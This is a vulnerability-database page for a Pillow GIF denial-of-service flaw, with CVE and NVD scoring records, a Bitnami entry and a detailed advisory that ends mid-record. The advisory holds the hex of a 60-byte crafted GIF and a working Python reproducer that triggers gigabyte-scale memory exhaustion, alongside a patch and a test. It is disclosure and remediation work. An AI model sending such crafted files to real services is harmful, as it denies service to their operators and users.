Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-112400 (GCVE-0-2026-112400)
Vulnerability from cvelistv5 – Published: 2026-10-19 21:12 – Updated: 2026-10-20 14:59| URL | Tags |
|---|---|
| https://github.com/python-pillow/Pillow/security/… | x_refsource_CONFIRM |
| https://github.com/python-pillow/Pillow/commit/6f… | x_refsource_MISC |
| https://github.com/python-pillow/Pillow/releases/… | x_refsource_MISC |
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| python-pillow | Pillow |
Affected:
>= 9.2.0, < 13.0.0
|
guessed |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-112400",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-20T14:59:28.532487Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-20T14:59:57.147Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "Pillow",
"vendor": "python-pillow",
"versions": [
{
"status": "affected",
"version": "\u003e= 9.2.0, \u003c 13.0.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Pillow is a Python imaging library. From 9.2.0 until 13.0.0, Pillow can retain a rejected GIF frame size after a decompression-bomb exception. In GifImageFile._seek, a crafted GIF can leave rejected dimensions stored after Image.DecompressionBombError; if an application catches that exception and continues processing the same image object, later seek or load operations allocate according to those dimensions and can exhaust memory, denying service. This issue is fixed in version 13.0.0."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400: Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-19T21:12:37.401Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg"
},
{
"name": "https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7"
},
{
"name": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"source": {
"advisory": "GHSA-65qm-jvmh-6pqg",
"discovery": "UNKNOWN"
},
"title": "Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-112400",
"datePublished": "2026-10-19T21:12:37.401Z",
"dateReserved": "2026-10-19T16:58:51.959Z",
"dateUpdated": "2026-10-20T14:59:57.147Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-112400",
"date": "2026-11-11",
"epss": "0.00594",
"percentile": "0.48868"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "Pillow",
"vendor": "python-pillow",
"versions": [
{
"status": "affected",
"version": "\u003e= 9.2.0, \u003c 13.0.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:python:pillow:*:*:*:*:*:*:*:*",
"matchCriteriaId": "E504536A-DACF-43B1-9BA3-02A3C2E45292",
"versionEndExcluding": "13.0.0",
"versionStartIncluding": "9.2.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Pillow is a Python imaging library. From 9.2.0 until 13.0.0, Pillow can retain a rejected GIF frame size after a decompression-bomb exception. In GifImageFile._seek, a crafted GIF can leave rejected dimensions stored after Image.DecompressionBombError; if an application catches that exception and continues processing the same image object, later seek or load operations allocate according to those dimensions and can exhaust memory, denying service. This issue is fixed in version 13.0.0."
}
],
"id": "CVE-2026-112400",
"lastModified": "2026-10-27T21:02:32.240",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-112400",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-20T14:59:28.532487Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-10-19T22:17:07.367",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Mitigation",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Mitigation",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-400"
},
{
"lang": "en",
"value": "CWE-770"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"redhat_vex": {
"aggregate_severity": "Important",
"current_release_date": "2026-11-11T12:17:43+00:00",
"cve": "CVE-2026-112400",
"id": "CVE-2026-112400",
"initial_release_date": "2026-10-19T21:12:37.401000+00:00",
"product_status:fixed": "61",
"product_status:known_affected": "64",
"product_status:known_not_affected": "520",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "pillow: pillow: Denial of Service via memory exhaustion from crafted GIF image",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112400.json",
"version": "3"
},
"suse_vex": {
"aggregate_severity": "moderate",
"current_release_date": "2026-11-10T17:46:17Z",
"cve": "CVE-2026-112400",
"id": "CVE-2026-112400",
"initial_release_date": "2026-10-21T16:44:52Z",
"product_status:known_affected": "75",
"product_status:recommended": "7",
"source": "SUSE CSAF VEX",
"status": "interim",
"title": "SUSE CVE CVE-2026-112400",
"url": "https://ftp.suse.com/pub/projects/security/csaf-vex/2026/cve-2026-112400.json",
"version": "7"
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-112400",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-20T14:59:28.532487Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-20T14:59:37.800Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "Pillow",
"vendor": "python-pillow",
"versions": [
{
"status": "affected",
"version": "\u003e= 9.2.0, \u003c 13.0.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Pillow is a Python imaging library. From 9.2.0 until 13.0.0, Pillow can retain a rejected GIF frame size after a decompression-bomb exception. In GifImageFile._seek, a crafted GIF can leave rejected dimensions stored after Image.DecompressionBombError; if an application catches that exception and continues processing the same image object, later seek or load operations allocate according to those dimensions and can exhaust memory, denying service. This issue is fixed in version 13.0.0."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400: Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-19T21:12:37.401Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg"
},
{
"name": "https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7"
},
{
"name": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"source": {
"advisory": "GHSA-65qm-jvmh-6pqg",
"discovery": "UNKNOWN"
},
"title": "Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-112400",
"datePublished": "2026-10-19T21:12:37.401Z",
"dateReserved": "2026-10-19T16:58:51.959Z",
"dateUpdated": "2026-10-20T14:59:57.147Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
bit-pillow-2026-112400
Vulnerability from bitnami_vulndb
Pillow is a Python imaging library. From 9.2.0 until 13.0.0, Pillow can retain a rejected GIF frame size after a decompression-bomb exception. In GifImageFile._seek, a crafted GIF can leave rejected dimensions stored after Image.DecompressionBombError; if an application catches that exception and continues processing the same image object, later seek or load operations allocate according to those dimensions and can exhaust memory, denying service. This issue is fixed in version 13.0.0.
{
"affected": [
{
"package": {
"ecosystem": "Bitnami",
"name": "pillow",
"purl": "pkg:bitnami/pillow"
},
"ranges": [
{
"events": [
{
"introduced": "9.2.0"
},
{
"fixed": "13.0.0"
}
],
"type": "SEMVER"
}
],
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
],
"aliases": [
"CVE-2026-112400"
],
"database_specific": {
"cpes": [
"cpe:2.3:a:python:pillow:*:*:*:*:*:python:*:*"
],
"severity": "High"
},
"details": "Pillow is a Python imaging library. From 9.2.0 until 13.0.0, Pillow can retain a rejected GIF frame size after a decompression-bomb exception. In GifImageFile._seek, a crafted GIF can leave rejected dimensions stored after Image.DecompressionBombError; if an application catches that exception and continues processing the same image object, later seek or load operations allocate according to those dimensions and can exhaust memory, denying service. This issue is fixed in version 13.0.0.",
"id": "BIT-pillow-2026-112400",
"modified": "2026-10-29T09:16:42.832Z",
"published": "2026-10-26T05:55:43.287Z",
"references": [
{
"type": "FIX",
"url": "https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7"
},
{
"type": "ARTICLE",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
},
{
"type": "ADVISORY",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112400"
}
],
"schema_version": "1.6.2",
"summary": "Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS"
}
BREW-AIDER-CVE-2026-112400 (GHSA-65QM-JVMH-6PQG)
Vulnerability from osv_homebrew – Published: 2026-10-21 09:14 – Updated: 2026-10-29 21:58 – Source website============================================================================
GIF seek keeps rejected size after DecompressionBombError, allowing DoS
Location: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the "image too large" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.
The bug is in GifImageFile._seek() (src/PIL/GifImagePlugin.py:292-294). When a frame's extent enlarges the image, the code assigns the new size to self._size and only then calls Image._decompression_bomb_check(). Nothing restores the old size when DecompressionBombError is raised, because seek() only rolls back on EOFError. After the caught error, im.size reports the rejected size while the pixel buffer im.im is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070.
In the attached reproducer, the rejected size is 40000×40000. A retried seek(1) followed by load() then reaches load_prepare(), which calls Image.core.fill() with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. Image.new("RGB", im.size, ...) and rotate(..., expand=True) also allocate from the stale size.
The default paths are unaffected: plain Image.open() plus load(), ImageSequence.Iterator, and n_frames/is_animated. The ordering was introduced in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.
Details
GifImageFile._seek() lets a later frame enlarge the image, and performs the
decompression-bomb check for the new size only after storing it on the object:
# src/PIL/GifImagePlugin.py:289-294 (GifImageFile._seek)
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
self._size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated
Image._decompression_bomb_check(self._size) # ...then validated
_decompression_bomb_check() (src/PIL/Image.py:3586) raises
DecompressionBombError for anything above 2 * MAX_IMAGE_PIXELS
(178 956 970 px by default), but by then self._size already holds the rejected
value and nothing restores it: seek() (GifImagePlugin.py:166-179) only rolls
back on EOFError, and _seek(0) only ever grows _size. The object that the
application still holds therefore reports im.size == (40000, 40000) while
im.im is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a
few lines further down in the same function (GifImagePlugin.py:383 and :407),
which call _decompression_bomb_check(dispose_size) before the corresponding
Image.core.fill(), and TiffImagePlugin.load_prepare()
(src/PIL/TiffImagePlugin.py:1319-1321), which checks _tile_size before
allocating from it.
With this 60-byte GIF (hex)
47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette
2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data
2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0)
2c000000000100010000 02 024401 00 another 1x1 frame
3b trailer
Image.open() succeeds (im.size == (1, 1)), im.seek(1) raises
DecompressionBombError: Image size (1600000000 pixels) exceeds limit of
178956970 pixels, and afterwards im.size == (40000, 40000),
im.im.size == (1, 1), im.tell() == 0.
What happens next depends on what the application does with the object, but
several ordinary operations take their dimensions from im.size rather than
from the C buffer:
- Retrying
im.seek(1). The failed_seekleftself.__offset == 0and the file pointer just past the 9-byte descriptor, so the retry parses whatever follows — in the file above, a valid 1×1 frame — and succeeds.im.load()then runsGifImageFile.load_prepare():python # src/PIL/GifImagePlugin.py:452-456 elif self.mode in ("RGB", "RGBA"): self._prev_im = self.im if self._frame_palette: self.im = Image.core.fill("P", self.size, self._frame_transparency or 0)which allocates andmemsets a 40000×40000 "P" image (1.6 GB) to decode a 1×1 tile into, andload_end()(GifImagePlugin.py:485-491) fills a second one and converts it to RGB (another 1.6 GB + 6.4 GB). im.rotate(angle, expand=True)for a non-multiple-of-90 angle, or the common flatten-onto-background idiomImage.new("RGB", im.size, bg), allocate fromim.sizeas well (measured on an object poisoned to 20000×20000:rotate(45, expand=True)completes and touches 776 MiB;Image.new("RGB", im.size, "white")touches 1.5 GiB). Operations that passim.sizeas a box against the real buffer (thumbnail,resize,save) fail withValueError/SystemErrorinstead.
The extent fields are 16-bit offset plus 16-bit size, so the stored size can be pushed to 131070×131070 (17.2 Gpx; 17 GB for mode "P", 69 GB for "RGB"/"RGBA" storage), 96× the error threshold.
n_frames / is_animated are not affected: they call
_seek(frame, update_image=False), which skips the _size assignment (the file
above reports n_frames == 2, is_animated == True and leaves im.size at
1×1).
Impact
A remote user who can upload a GIF to a service that (a) seeks animation frames
and (b) catches the exception from seek() — a broad except Exception around
a while True: im.seek(im.tell()+1) frame-collection loop, or an explicit
except DecompressionBombError: log and continue — and then keeps using the
same Image object, ends up driving allocations of 1.6 GB to tens of GB from a
60-byte file: MemoryError after the process has committed gigabytes, or an
OOM kill of the worker when no address-space limit is set. The
MAX_IMAGE_PIXELS guard fires, but does not actually keep the rejected
dimensions out of the object it is guarding.
The precondition is real application behaviour but not the default path:
Image.open(); im.load() is unaffected, and ImageSequence.Iterator propagates
the error out of the for statement (a try inside the loop body does not
swallow it). Hence low severity. This is adjacent to the GIF extent bomb check
added for CVE-2022-45198: the ordering was introduced with that check in
c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30), first
released in Pillow 9.2.0. Before it, the same size growth happened with no
check at all; the check introduced there is the one that runs too late.
Reproducing
repro is a single Python script run against the installed Pillow. It needs
about 1.7 GB of free RAM.
setup_env()caps the process address space at 3 GiB withRLIMIT_AS, so the oversized allocations end inMemoryErrorinstead of the OOM killer. It then opens the 60-byte GIF shown above, built in memory bybomb_gif(). The GIF contains a 1×1 screen and a 1×1 frame 0, soImage.open()passes its own bomb check. Next comes a bare frame-1 image descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error threshold). A real 1×1 frame follows it.poc()callsim.seek(1)and catchesDecompressionBombError, the way an application that skips bad frames would.- First check: the state is inconsistent. The script prints
im.sizenext to the real pixel bufferim.im.size. If the rejected frame had left the object unchanged, both would be(1, 1). On the affected codeim.sizeis(40000, 40000). - Second check: memory use. The script retries
im.seek(1), which now parses the trailing 1×1 frame, and callsim.load(). It prints the process's peak RSS before and after.load_prepare()sizes itsImage.core.fill()fromim.size, so loading a single pixel fills a 1.6 GB buffer before the 3 GiB cap stops the next allocation.
Expected output on the affected tree:
open(): 60-byte GIF, size=(1, 1)
seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack.
after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1)
seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB
BUG
The script prints BUG only if both checks hold: the over-limit size stayed
on the object after the exception, and peak RSS grew by more than 1000 MiB
while loading a 1×1 frame. Otherwise it prints OK. With the attached patch
applied, it prints im.size=(1, 1), peak RSS stays at about 23 MiB, and the
last line is OK.
Suggested fix
The attached patch validates before mutating in GifImageFile._seek()
(src/PIL/GifImagePlugin.py:292-294): the enlarged extent is computed into a
local, passed to _decompression_bomb_check(), and only then assigned to
self._size, matching the order of the two dispose_size checks further down
the same function. A rejected frame therefore leaves the object in its pre-seek
state; valid files behave as before, and the exception is still raised at the
same point:
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
- self._size = max(x1, self.size[0]), max(y1, self.size[1])
- Image._decompression_bomb_check(self._size)
+ size = max(x1, self.size[0]), max(y1, self.size[1])
+ Image._decompression_bomb_check(size)
+ self._size = size
frame_dispose_extent = x0, y0, x1, y1
flags = s[8]
n_frames / is_animated go through update_image=False and are unaffected.
The patch also extends test_exception_gif_extents in
Tests/test_decompression_bomb.py to assert that im.size is unchanged after
the DecompressionBombError. It does not change seek() itself; optionally,
seek() could also treat DecompressionBombError like EOFError and re-seek
to last_frame, so that a retried seek() does not resume parsing from the
middle of the rejected frame.
The patch
GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size
Applies to src/PIL/GifImagePlugin.py at the commit above.
diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py
index 98d833736..83cc785fc 100644
--- a/Tests/test_decompression_bomb.py
+++ b/Tests/test_decompression_bomb.py
@@ -63,6 +63,9 @@ class TestDecompressionBomb:
with pytest.raises(Image.DecompressionBombError):
im.seek(1)
+ # The rejected frame should not have changed the image size
+ assert im.size == (100, 100)
+
def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None:
# Set limit to trigger exception on the test file
monkeypatch.setattr(Image, "MAX_IMAGE_PIXELS", 4 * 64 * 128)
diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py
index 11fb180fc..f9bda06c2 100644
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
- self._size = max(x1, self.size[0]), max(y1, self.size[1])
- Image._decompression_bomb_check(self._size)
+ size = max(x1, self.size[0]), max(y1, self.size[1])
+ Image._decompression_bomb_check(size)
+ self._size = size
frame_dispose_extent = x0, y0, x1, y1
flags = s[8]
The reproducer
Reproducer —repro, 2,474 bytes (click to open)
Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.
#!/usr/bin/env python3
# GifImageFile._seek() stores a frame's enlarged size in self._size and only
# *then* runs the decompression-bomb check. The check raises, but the object
# keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the
# next load() allocates from that size: 1.6+ GB for a 60-byte GIF.
import io
import resource
import struct
from PIL import Image
BOMB = 40000 # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold
LIMIT = 2 * Image.MAX_IMAGE_PIXELS
def frame_1x1():
# image descriptor at (0,0) 1x1, then a 1-pixel LZW stream
return b"," + struct.pack("<HHHHB", 0, 0, 1, 1, 0) + b"\x02\x02\x44\x01\x00"
def bomb_gif():
return (
b"GIF89a" + struct.pack("<HHBBB", 1, 1, 0x80, 0, 0) + b"\x00" * 3 + b"\xff" * 3
+ frame_1x1() # frame 0: 1x1, passes open()
+ b"," + struct.pack("<HHHHB", 0, 0, BOMB, BOMB, 0) # frame 1 claims 40000x40000
+ frame_1x1() # a real 1x1 frame follows
+ b";"
)
def peak_rss_mib():
return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024
def setup_env():
# Cap the address space so the oversized allocations end in MemoryError
# instead of the OOM killer.
resource.setrlimit(resource.RLIMIT_AS, (3 << 30, 3 << 30))
data = bomb_gif()
im = Image.open(io.BytesIO(data))
print(f"open(): {len(data)}-byte GIF, size={im.size}")
return im
def poc(im):
# An application skips the bomb frame and keeps going.
try:
im.seek(1)
except Image.DecompressionBombError as e:
print(f"seek(1) raised as intended: {e}")
return True
return False
im = setup_env()
raised = poc(im)
# Expected: a rejected frame leaves the object as it was (size == buffer == 1x1).
print(f"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}")
poisoned = raised and im.size[0] * im.size[1] > LIMIT and im.im.size == (1, 1)
# Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its
# buffers from the poisoned im.size.
before = peak_rss_mib()
im.seek(1)
try:
im.load()
outcome = "completed"
except MemoryError:
outcome = "MemoryError at the 3 GiB cap"
after = peak_rss_mib()
print(f"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB")
ballooned = after - before > 1000
print("BUG" if poisoned and ballooned else "OK")
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "pillow",
"resource_purl": "pkg:pypi/pillow@12.1.1",
"upstream_fixed_in": "13.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "aider",
"purl": "pkg:brew/aider"
},
"ranges": [
{
"events": [
{
"introduced": "0.86.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pillow@12.1.1",
"name": "pillow",
"resource": "pillow",
"strategy": "registry",
"subject_version": "12.1.1"
}
]
},
